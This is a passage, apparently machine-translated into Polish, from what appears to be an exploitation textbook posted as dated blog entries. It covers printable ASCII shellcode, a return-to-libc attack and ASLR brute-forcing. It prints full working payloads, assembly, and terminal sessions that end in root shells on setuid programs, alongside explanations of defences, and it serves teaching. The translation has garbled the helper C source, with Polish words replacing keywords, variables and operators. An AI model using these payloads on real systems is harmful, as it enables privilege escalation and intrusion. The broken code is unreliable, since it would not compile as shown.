W tym przypadku ostatnie cztery bajty są pogrubione; właściwą wartością rejestru EAX jest 0x80cde189. Jest to łatwe do zrobienia, używając instrukcji podrzędnych do zawijania wartości dookoła. Następnie EAX można zepchnąć na stos. Powoduje to przesunięcie ESP w górę (w kierunku niższych adresów pamięci) na koniec nowo wypchniętej wartości, gotowe na kolejne cztery bajty kodu powłoki (pokazane kursywą w poprzednim kodzie powłoki). Więcej podinstrukcji jest używanych do zawinięcia EAX około 0x53e28951 i ta wartość jest następnie wypychana na stos. Ponieważ proces ten powtarza się dla każdego czterobajtowego fragmentu, kod powłoki jest budowany od początku do początku, w kierunku kodu programu ładującego.
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 | ... |
Ostatecznie osiągnięto początek kodu powłoki, ale po naciśnięciu 0x99c931db do stosu pozostały tylko trzy bajty (pokazane kursywą w poprzednim kodowaniu powłoki). Sytuacja ta jest złagodzona przez wstawienie jednej pojedynczej bajtowej instrukcji NOP na początku kodu, co powoduje, że wartość 0x31c03190 jest wypychana na stos - 0x90 jest kodem maszynowym dla NOP. Każdy z tych czterobajtowych fragmentów oryginalnego kodu powłoki jest generowany przy użyciu użytej metody odejmowania do druku
wcześniej. Poniższy kod źródłowy to program, który pomaga obliczyć niezbędne wartości do druku.
printable_helper.c
#include < stdio.h >
#include < sys / stat.h >
#include < ctype.h >
#include < time.h >
#include < stdlib.h >
#include < string.h >
#define CHR "% _01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"
int main (int argc, char * argv [])
{
unsigned int targ, last, t [4], l [4];
unsigned int try, single, carry = 0;
int len, a, i, j, k, m, z, flag = 0;
słowo char [3] [4];
unsigned char mem [70];
if (argc < 2) {
printf ("Użycie:% s < wartość początkowa EAX > < wartość końcowa EAX > n", argv [0]);
exit (1);
}
srand (time (NULL));
bzero (mem, 70);
strcpy (mem, CHR);
len = strlen (mem);
strfry (mem); // Losuj
last = strtoul (argv [1], NULL, 0);
targ = strtoul (argv [2], NULL, 0);
printf ("obliczając wartości do druku, aby odjąć od EAX .. n");
t [3] = (targ i 0xff000000) >> 24; // Dzielenie przez bajty
t [2] = (cel i 0x00ff0000) >> 16;
t [1] = (cel i 0x0000ff00) >> 8;
t [0] = (cel i 0x000000ff);
l [3] = (last & 0xff000000) >> 24;
l [2] = (last & 0x00ff0000) >> 16;
l [1] = (last & 0x0000ff00) >> 8;
l [0] = (ostatnie & 0x000000ff);
dla (a = 1; a < 5; a ++) {// Zliczanie wartości
carry = flag = 0;
for (z = 0; z < 4; z ++) {// Liczba bajtów
dla (i = 0; i < len; i ++) {
for (j = 0; j < len; j ++) {
dla (k = 0; k < len; k ++) {
dla (m = 0; m < len; m ++)
{
jeśli (a <2) j = len + 1;
jeśli (a <3) k = len + 1;
jeśli (a <4) m = len + 1;
try = t [z] + noszenie + mem [i] + mem [j] + mem [k] + mem [m];
single = (spróbuj i 0x000000ff);
if (single == l [z])
{
carry = (spróbuj i 0x0000ff00) >> 8;
if (i < len) słowo [0] [z] = mem [i];
if (j < len) słowo [1] [z] = mem [j];
if (k < len) słowo [2] [z] = mem [k];
if (m < len) słowo [3] [z] = mem [m];
i = j = k = m = len + 2;
flaga ++;
}
}
}
}
}
}
if (flag == 4) {// Jeśli znaleziono wszystkie 4 bajty
printf ("start: 0x% 08x n", ostatni);
dla (i = 0; i
printf ("- 0x% 08x n", * ((unsigned int *) słowo [i]));
printf ("------------------- n");
printf ("koniec: 0x% 08x n", targ);
exit (0);
}
}
Po uruchomieniu tego programu oczekuje dwóch argumentów - wartości początkowej i końcowej dla EAX. Dla kodu powłoki ładowalnego EAX jest zerowane, aby rozpocząć, a wartość końcowa powinna wynosić 0x80cde189. Ta wartość
odpowiada ostatnim czterem bajtom z shellcode.bin.
reader@ hacking: ~ / booksrc $ gcc -o printable_helper printable_helper.c
reader@ hacking: ~ / booksrc $ ./printable_helper 0 0x80cde189
obliczanie wartości wydruku do odjęcia z EAX ..
start: 0x00000000
- 0x346d6d25
- 0x256d6d25
- 0x2557442d
-------------------
endc: 0x80cde189
reader@ hacking : ~ / booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S.
00000020 e1 cd 80 | ... |
00000023
reader@ hacking: ~ / booksrc $ ./printable_helper 0x80cde189 0x53e28951
obliczanie wartości wydruku do odjęcia z EAX ..
start: 0x80cde189
- 0x59316659
- 0x59667766
- 0x7a537a79
end: 0x53e28951
reader@ hacking: ~ / booksrc $
Wyjście powyżej pokazuje wartości do wydrukowania potrzebne do owinięcia zerowanego rejestru EAX do 0x80cde189 (pogrubione). Następnie EAX powinien zostać ponownie owinięty do 0x53e28951 dla kolejnych czterech bajtów kodu powłoki (budowanie wstecz). Proces ten powtarza się, dopóki nie zostanie zbudowany cały kod powłoki. Kod całego procesu pokazano poniżej.
Powrót
07.10.2020
printable.s
BITS 32
push esp ; Put current ESP
pop eax ; into EAX.
sub eax,0x39393333 ; Subtract printable values
sub eax,0x72727550 ; to add 860 to EAX.
sub eax,0x54545421
push eax ; Put EAX back into ESP.
pop esp ; Effectively ESP = ESP + 860
and eax,0x454e4f4a
and eax,0x3a313035 ; Zero out EAX.
sub eax,0x346d6d25 ; Subtract printable values
sub eax,0x256d6d25 ; to make EAX = 0x80cde189.
sub eax,0x2557442d ; (last 4 bytes from shellcode.bin)
push eax ; Push these bytes to stack at ESP.
sub eax,0x59316659 ; Subtract more printable values
sub eax,0x59667766 ; to make EAX = 0x53e28951
sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end)
push eax
sub eax,0x25696969
sub eax,0x25786b5a
sub eax,0x25774625
push eax ; EAX = 0xe3896e69
sub eax,0x366e5858
sub eax,0x25773939
sub eax,0x25747470
push eax ; EAX = 0x622f6868
sub eax,0x25257725
sub eax,0x71717171
sub eax,0x5869506a
push eax ; EAX = 0x732f2f68
sub eax,0x63636363
sub eax,0x44307744
sub eax,0x7a434957
push eax ; EAX = 0x51580b6a
sub eax,0x63363663
sub eax,0x6d543057
push eax ; EAX = 0x80cda4b0
sub eax,0x54545454
sub eax,0x304e4e25
sub eax,0x32346f25
sub eax,0x302d6137
push eax ; EAX = 0x99c931db
sub eax,0x78474778
sub eax,0x78727272
sub eax,0x774f4661
push eax ; EAX = 0x31c03190
sub eax,0x41704170
sub eax,0x2d772d4e
sub eax,0x32483242
push eax ; EAX = 0x90909090
push eax
push eax ; Build a NOP sled.
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
Na koniec kod powłoki został zbudowany gdzieś po kodzie programu ładującego, najprawdopodobniej pozostawiając lukę między nowo zbudowanym kodem powłoki a kodem programu wykonawczego. Ta luka może zostać zmostkowana przez zbudowanie NOP sled pomiędzy kodem programu ładującego a kodem powłoki. Ponownie, instrukcje podrzędne są używane do ustawienia EAX na 0x90909090, a EAX jest wielokrotnie wypychany na stos. Z każdą instrukcją push cztery instrukcje NOP są dołączane na początku kodu powłoki. Ostatecznie te instrukcje NOP zbudują się na wykonujących instrukcjach wypychania kodu programu ładującego, umożliwiając EIP i wykonanie programu przepływanie przez sanki do kodu powłoki. Składa się on w drukowalny ciąg ASCII, który podwaja się jako wykonywalny kod maszynowy.
reader@hacking:~/booksrc $ nasm printable.s
reader@hacking:~/booksrc $ echo $(cat ./printable)
TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%
-ptt%P-
%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--
B2H2PPPPPPPPPPPPPPPPPPPPPP
reader@hacking:~/booksrc $
Ten kod powłoki ASCII, który można wydrukować, może teraz zostać użyty do przemycenia rzeczywistego kodu powłoki poza procedurę sprawdzania poprawności danych wejściowych programu update_info.
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable)
[DEBUG]: desc argument is at 0xbffff910
Segmentation fault
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\x10\xf9\xff\xbf"x10') $(cat ./
printable)
[DEBUG]: desc argument is at 0xbffff910
Updating product ########### with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%
--DW%PYf1Y-
fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c
-W0TmPTTTT-%
NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'
sh-3.2# whoami
root
sh-3.2#
Schludny. W przypadku, gdy nie byłeś w stanie śledzić wszystkiego, co się tam właśnie wydarzyło, dane wyjściowe poniżej obserwują wykonanie kodu powłoki w GDB. Adresy stosu będą nieco inne, zmieniając adresy zwrotne, ale nie wpłynie to na kod powłoki, który można wydrukować - oblicza swoją lokalizację na podstawie ESP, nadając jej to wszechstronność.
reader@hacking:~/booksrc $ gdb -q ./update_info
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass update_product_description
Dump of assembler code for function update_product_description:
0x080484a8 < update_product_description+0 >: push ebp
0x080484a9 < update_product_description+1 >: mov ebp,esp
0x080484ab < update_product_description+3 >: sub esp,0x28
0x080484ae < update_product_description+6 >: mov eax,DWORD PTR [ebp+8]
0x080484b1 < update_product_description+9 >: mov DWORD PTR [esp+4],eax
0x080484b5 < update_product_description+13 >: lea eax,[ebp-24]
0x080484b8 < update_product_description+16 >: mov DWORD PTR [esp],eax
0x080484bb < update_product_description+19 >: call 0x8048388 < strcpy@plt >
0x080484c0 < update_product_description+24 >: mov eax,DWORD PTR [ebp+12]
0x080484c3 < update_product_description+27 >: mov DWORD PTR [esp+8],eax
0x080484c7 < update_product_description+31 >: lea eax,[ebp-24]
0x080484ca < update_product_description+34 >: mov DWORD PTR [esp+4],eax
0x080484ce < update_product_description+38 >: mov DWORD PTR [esp],0x80487a0
0x080484d5 < update_product_description+45 >: call 0x8048398 < printf@plt >
0x080484da < update_product_description+50 >: leave
0x080484db < update_product_description+51 >: ret
End of assembler dump.
(gdb) break *0x080484db
Breakpoint 1 at 0x80484db: file update_info.c, line 21.
(gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable)
Starting program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./
printable)
[DEBUG]: desc argument is at 0xbffff8fd
Program received signal SIGSEGV, Segmentation fault.
0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"
x10')
$(cat ./printable)
[DEBUG]: desc argument is at 0xbffff8fd
Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y
-fwfYyzSzP-
iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT
-%NN0-
%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'
Breakpoint 1, 0x080484db in update_product_description (
id=0x72727550 < Address 0x72727550 out of bounds>,
desc=0x5454212d < Address 0x5454212d out of bounds >) at update_info.c:21
21 }
(gdb) stepi
0xbffff8fd in ?? ()
(gdb) x/9i $eip
0xbffff8fd: push esp
0xbffff8fe: pop eax
0xbffff8ff: sub eax,0x39393333
0xbffff904: sub eax,0x72727550
0xbffff909: sub eax,0x54545421
0xbffff90e: push eax
0xbffff90f: pop esp
0xbffff910: and eax,0x454e4f4a
0xbffff915: and eax,0x3a313035
(gdb) i r esp
esp 0xbffff6d0 0xbffff6d0
(gdb) p /x $esp + 860
$1 = 0xbffffa2c
(gdb) stepi 9
0xbffff91a in ?? ()
(gdb) i r esp eax
esp 0xbffffa2c 0xbffffa2c
eax 0x0 0
(gdb)
Pierwsze dziewięć instrukcji dodaje 860 do ESP i zeruje rejestr EAX Następne osiem instrukcji przesuwa ostatnie osiem bajtów kodu powłoki na stos w kawałkach czterobajtowych. Ten proces jest powtarzany w kolejnych 32 instrukcjach, aby zbudować cały kod powłoki na stosie.
(gdb) x / 8i $ eip
0xbffff91a: sub eax, 0x346d6d25
0xbffff91f: sub eax, 0x256d6d25
0xbffff924: sub eax, 0x2557442d
0xbffff929: push eax
0xbffff92a: sub eax, 0x59316659
0xbffff92f: sub eax, 0x59667766
0xbffff934: sub eax, 0x7a537a79
0xbffff939: push eax
(gdb) stepi 8
0xbffff93a w ?? ()
(gdb) x / 4x $ esp
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
(gdb) stepi 32
0xbffff9ba w ?? ()
(gdb) x / 5i $ eip
0xbffff9ba: push eax
0xbffff9bb: push eax
0xbffff9bc: push eax
0xbffff9bd: push eax
0xbffff9be: push eax
(gdb) x / 16x $ esp
0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0
0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) i eip esp eax
eip 0xbffff9ba 0xbffff9ba
esp 0xbffffa04 0xbffffa04
eax 0x90909090 -1869574000
(gdb)
Teraz, gdy kod powłoki jest całkowicie skonstruowany na stosie, EAX ma wartość 0x90909090. Jest on wielokrotnie przesyłany do stosu, aby zbudować sanki NOP, aby wypełnić lukę między końcem kodu programu ładującego a nowo utworzonym kodem powłoki.
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 10
0xbffff9c4 w ?? ()
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 5
0xbffff9c9 w ?? ()
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050
0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb)
Teraz wskaźnik wykonania (EIP) może przepływać przez most NOP do skonstruowanego kodu powłoki. Printcode shellcode to technika, która może otworzyć niektóre drzwi. To i wszystkie inne techniki, które omówiliśmy, są tylko elementami konstrukcyjnymi, które można wykorzystać w wielu różnych kombinacjach. Ich zastosowanie wymaga pewnej pomysłowości z twojej strony. Bądź mądry i pokonaj ich we własnej grze.
Powrót
08.10.2020
Hartowanie Środków Zaradczych>
Techniki exploitów przedstawione tu istnieją od wieków. To była tylko kwestia czasu, aby programiści wymyślili kilka sprytnych metod ochrony. Exploit można uogólnić jako proces trzyetapowy: po pierwsze, jakiś rodzaj uszkodzenia pamięci; następnie zmiana przepływu sterowania; i wreszcie wykonanie shellcode
Stos Niewykonywalny
Większość aplikacji nigdy nie musi wykonywać niczego na stosie, więc oczywistą obroną przed exploitami przepełnienia bufora jest uniemożliwienie wykonania stosu. Gdy to zrobisz, kod powłoki wstawiony w dowolnym miejscu na stosie jest w zasadzie bezużyteczny. Ten rodzaj obrony powstrzyma większość exploitów i jest coraz bardziej popularny. Najnowsza wersja OpenBSD ma domyślnie niewykonywalny stos, a niewykonywalny stos jest dostępny w Linuksie poprzez PaX, poprawkę jądra.
Oczywiście istnieje technika stosowana do ominięcia tego ochronnego środka zaradczego. Ta technika jest znana jako powrót do libc. libc to standardowa biblioteka C, która zawiera różne podstawowe funkcje, takie jak printf () i exit (). Funkcje te są współdzielone, więc każdy program korzystający z funkcji printf () kieruje wykonanie do odpowiedniej lokalizacji w libc. Exploit może zrobić dokładnie to samo i skierować wykonanie programu do określonej funkcji w libc. Funkcjonalność takiego exploita jest ograniczona przez funkcje w libc, co jest znaczącym ograniczeniem w porównaniu z dowolnym kodem powłoki. Jednak nic nie jest nigdy wykonywane na stosie.
Powrót
09.10.2020
Stos niewykonywalny
Większość aplikacji nigdy nie musi wykonywać niczego na stosie, więc oczywistą obroną przed exploitami przepełnienia bufora jest uniemożliwienie wykonania stosu. Gdy to zrobisz, kod powłoki wstawiony w dowolnym miejscu na stosie jest w zasadzie bezużyteczny. Ten rodzaj obrony powstrzyma większość exploitów i jest coraz bardziej popularny. Najnowsza wersja OpenBSD ma domyślnie niewykonywalny stos, a niewykonywalny stos jest dostępny w Linuksie poprzez PaX, poprawkę jądra.
Oczywiście istnieje technika stosowana do ominięcia tego ochronnego środka zaradczego. Ta technika jest znana jako powrót do libc. libc to standardowa biblioteka C, która zawiera różne podstawowe funkcje, takie jak printf () i exit (). Funkcje te są współdzielone, więc każdy program korzystający z funkcji printf () kieruje wykonanie do odpowiedniej lokalizacji w libc. Exploit może zrobić dokładnie to samo i skierować wykonanie programu do określonej funkcji w libc. Funkcjonalność takiego exploita jest ograniczona przez funkcje w libc, co jest znaczącym ograniczeniem w porównaniu z dowolnym kodem powłoki. Jednak nic nie jest nigdy wykonywane na stosie.
Powrót do system()
Jedną z najprostszych funkcji libc do powrotu jest system (). Jak sobie przypominasz, ta funkcja pobiera pojedynczy argument i wykonuje ten argument za pomocą / bin / sh. Ta funkcja wymaga tylko jednego argumentu, co czyni go użytecznym celem. W tym przykładzie zostanie użyty prosty program podatny na ataki.
vuln.c
int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
Of course, this program must be compiled and setuid root before it's truly vulnerable.
reader@hacking:~/booksrc $ gcc -o vuln vuln.c
reader@hacking:~/booksrc $ sudo chown root ./vuln
reader@hacking:~/booksrc $ sudo chmod u+s ./vuln
reader@hacking:~/booksrc $ ls -l ./vuln
-rwsr-xr-x 1 root reader 6600 2007-09-30 22:43 ./vuln
reader@hacking:~/booksrc $
Ogólną ideą jest wymuszenie, aby wrażliwy program pojawił się w powłoce, bez wykonywania jakichkolwiek operacji na stosie, poprzez powrót do systemu funkcji libc (). Jeśli ta funkcja jest dostarczona z argumentem / bin / sh, powinno to wywołać powłokę. Najpierw należy określić lokalizację funkcji system () w libc. Będzie to inne dla każdego systemu, ale gdy lokalizacja będzie znana, pozostanie taka sama aż do rekompilacji libc. Jednym z najłatwiejszych sposobów znalezienia lokalizacji funkcji libc jest utworzenie prostego programu fikcyjnego i debugowanie go w następujący sposób:
reader@hacking:~/booksrc $ cat > dummy.c
int main()
{ system(); }
reader@hacking:~/booksrc $ gcc -o dummy dummy.c
reader@hacking:~/booksrc $ gdb -q ./dummy
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/matrix/booksrc/dummy
Breakpoint 1, 0x0804837a in main ()
(gdb) print system
$1 = {< text variable, no debug info>} 0xb7ed0d80 < system >
(gdb) quit
Tutaj tworzony jest fałszywy program, który używa funkcji system (). Po skompilowaniu plik binarny jest otwierany w debuggerze i na początku ustawiany jest punkt przerwania. Program jest wykonywany, a następnie wyświetlana jest lokalizacja funkcji system (). W tym przypadku funkcja system () znajduje się pod adresem 0xb7ed0d80. Uzbrojeni w tę wiedzę możemy skierować wykonywanie programu do funkcji system () libc. Jednak celem jest spowodowanie, aby zagrożony program wykonał system ("/ bin / sh"), aby udostępnić powłokę, dlatego należy podać argument. Po powrocie do libc adres zwrotny i argumenty funkcji są odczytywane ze stosu w znanym formacie: adres zwrotny, a następnie argumenty.
Bezpośrednio po adresie żądanej funkcji libc znajduje się adres, na który należy powrócić po wywołaniu libc. Po tym wszystkie argumenty funkcji przychodzą kolejno. W tym przypadku tak naprawdę nie ma znaczenia, gdzie powróci wykonanie po wywołaniu libc, ponieważ będzie ono otwierać powłokę interaktywną. Dlatego te cztery bajty mogą być po prostu symbolem FAKE. Jest tylko jeden argument, który powinien być wskaźnikiem do łańcucha / bin / sh. Ten ciąg może być przechowywany w dowolnym miejscu w pamięci; zmienna środowiskowa jest doskonałym kandydatem. Na wyjściu poniżej ciąg jest poprzedzony kilkoma spacjami. Będzie to działało podobnie do sanki NOP, zapewniając nam trochę wiggle room, ponieważ system ("/ bin / sh") jest taki sam jak system ("/ bin / sh").
reader@hacking:~/booksrc $ export BINSH=" /bin/sh"
reader@hacking:~/booksrc $ ./getenvaddr BINSH ./vuln
BINSH will be at 0xbffffe5b
reader@hacking:~/booksrc $
Tak więc adres system () to 0xb7ed0d80, a adres dla ciągu / bin / sh będzie 0xbffffe5b podczas wykonywania programu. Oznacza to, że adres zwrotny na stosie powinien zostać nadpisany serią adresów, poczynając od 0xb7ecfd80, a następnie FAKE (ponieważ nie ma znaczenia, gdzie wykonanie następuje po wywołaniu system ()), i kończąc na 0xbffffe5b. Szybkie wyszukiwanie binarne pokazuje, że adres zwrotny jest prawdopodobnie nadpisany ósmym słowem wejścia programu, więc siedem słów fałszywych danych jest używanych do odstępów w exploicie.
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x5')
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x10')
Segmentation fault
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x8')
Segmentation fault
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7')
Illegal instruction
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\x0d\xed\xb7FAKE\x5b
\xfe\
xff\xbf"')
sh-3.2# whoami
root
sh-3.2#
Exploit można rozszerzyć, wykonując w razie potrzeby powiązane połączenia libc. Adres zwrotny FAKE użyty w przykładzie może zostać zmieniony w celu bezpośredniego wykonania programu. Można wykonywać dodatkowe wywołania libc lub można je wykonać w innej użytecznej sekcji w istniejących instrukcjach programu.
Powrót
10.10.2020
Randomizowana przestrzeń stosu
Kolejny ochronny środek zaradczy próbuje nieco innego podejścia. Zamiast zapobiegać wykonywaniu na stosie, ten środek zaradczy losuje układ pamięci stosu. Gdy układ pamięci jest losowy, atakujący nie będzie w stanie przywrócić wykonania do czekającego kodu powłoki, ponieważ nie będzie wiedział, gdzie on się znajduje. Ten środek zaradczy został domyślnie włączony w jądrze Linuksa od 2.6.12.Aby ponownie włączyć tę ochronę, echo 1 do systemu plików / proc, jak pokazano poniżej
reader@hacking:~/booksrc $ sudo su -
root@hacking:~ # echo 1 > /proc/sys/kernel/randomize_va_space
root@hacking:~ # exit
logout
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]-------
reader@hacking:~/booksrc $
Po włączeniu tego środka zaradczego exploit Notesearch przestaje działać, ponieważ układ stosu jest losowy. Przy każdym uruchomieniu programu stos zaczyna się w losowej lokalizacji. Poniższy przykład demonstruje to.
Randomizowana przestrzeń stosu
aslr_demo.c
#include
int main(int argc, char *argv[]) {
char buffer[50];
printf("buffer is at %p\n", &buffer);
if(argc > 1)
strcpy(buffer, argv[1]);
return 1;
}
Ten program ma oczywistą lukę w przepełnieniu bufora. Jednak przy włączonym ASLR eksploatacja nie jest taka łatwa.
reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbffbbf90
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbfe4de20
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbfc7ac50
reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "ABCD"x20')
buffer is at 0xbf9a4920
Segmentation fault
reader@hacking:~/booksrc $
Zwróć uwagę, jak zmienia się położenie bufora na stosie przy każdym uruchomieniu. Nadal możemy wstrzyknąć kod powłoki i uszkodzoną pamięć, aby nadpisać adres zwrotny, ale nie wiemy, gdzie znajduje się kod powłoki. Losowanie zmienia lokalizację wszystkiego na stosie, w tym zmiennych środowiskowych
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfd919c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfe499c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfcae9c3
reader@hacking:~/booksrc $
Ten rodzaj ochrony może być bardzo skuteczny w powstrzymywaniu exploitów przez przeciętnego atakującego, ale nie zawsze wystarcza, by powstrzymać zdeterminowanego hakera. Czy możesz wymyślić sposób na pomyślne wykorzystanie tego programu w tych warunkach?
Powrót
11.10.2020
Dochodzenia z BASH i GDB
Ponieważ ASLR nie zatrzymuje uszkodzenia pamięci, nadal możemy użyć brutalnego skryptu BASH, aby określić przesunięcie adresu zwrotnego od początku bufora. Po zamknięciu programu wartością zwracaną przez główną funkcję jest status wyjścia. Ten status jest przechowywany w zmiennej BASH $?, Która może być użyta do wykrycia awarii programu.
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfb80320
reader@hacking:~/booksrc $ echo $?
1
reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "AAAA"x50')
buffer is at 0xbfbe2ac0
Segmentation fault
reader@hacking:~/booksrc $ echo $?
139
reader@hacking:~/booksrc $
Używając logiki if instrukcji BASH, możemy zatrzymać nasz skrypt wymuszający brute, gdy zawiedzie cel. Blok instrukcji if jest zawarty między słowami kluczowymi then i fi; wymagana jest biała przestrzeń w instrukcji if. Instrukcja break mówi skryptowi, aby wyłamał się z pętli for.
reader@hacking:~/booksrc $ for i in $(seq 1 50)
> do
> echo "Trying offset of $i words"
> ./aslr_demo $(perl -e "print 'AAAA'x$i")
> if [ $? != 1 ]
> then
> echo "==> Correct offset to return address is $i words"
> break
> fi
> done
Trying offset of 1 words
buffer is at 0xbfc093b0
Trying offset of 2 words
buffer is at 0xbfd01ca0
Trying offset of 3 words
buffer is at 0xbfe45de0
Trying offset of 4 words
buffer is at 0xbfdcd560
Trying offset of 5 words
buffer is at 0xbfbf5380
Trying offset of 6 words
buffer is at 0xbffce760
Trying offset of 7 words
buffer is at 0xbfaf7a80
Trying offset of 8 words
buffer is at 0xbfa4e9d0
Trying offset of 9 words
buffer is at 0xbfacca50
Trying offset of 10 words
buffer is at 0xbfd08c80
Trying offset of 11 words
buffer is at 0xbff24ea0
Trying offset of 12 words
buffer is at 0xbfaf9a70
Trying offset of 13 words
buffer is at 0xbfe0fd80
Trying offset of 14 words
buffer is at 0xbfe03d70
Trying offset of 15 words
buffer is at 0xbfc2fb90
Trying offset of 16 words
buffer is at 0xbff32a40
Trying offset of 17 words
buffer is at 0xbf9da940
Trying offset of 18 words
buffer is at 0xbfd0cc70
Trying offset of 19 words
buffer is at 0xbf897ff0
Illegal instruction
==> Correct offset to return address is 19 words
reader@hacking:~/booksrc $
Znajomość właściwego przesunięcia pozwoli nam nadpisać adres zwrotny. Jednak nadal nie możemy wykonać kodu powłoki, ponieważ jego lokalizacja jest losowa. Korzystając z GDB, spójrzmy na program tak, jak ma on powrócić z głównej funkcji.
reader@hacking:~/booksrc $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483b4 < main+0 >: push ebp
0x080483b5 < main+1 >: mov ebp,esp
0x080483b7 < main+3 >: sub esp,0x58
0x080483ba < main+6 >: and esp,0xfffffff0
0x080483bd < main+9 >: mov eax,0x0
0x080483c2 < main+14 >: sub esp,eax
0x080483c4 < main+16 >: lea eax,[ebp-72]
0x080483c7 < main+19 >: mov DWORD PTR [esp+4],eax
0x080483cb < main+23 >: mov DWORD PTR [esp],0x80484d4
0x080483d2 < main+30 >: call 0x80482d4 < printf@plt >
0x080483d7 < main+35 >: cmp DWORD PTR [ebp+8],0x1
0x080483db < main+39 >: jle 0x80483f4 < main+64 >
0x080483dd < main+41 >: mov eax,DWORD PTR [ebp+12]
0x080483e0 < main+44 >: add eax,0x4
0x080483e3 < main+47 >: mov eax,DWORD PTR [eax]
0x080483e5 < main+49 >: mov DWORD PTR [esp+4],eax
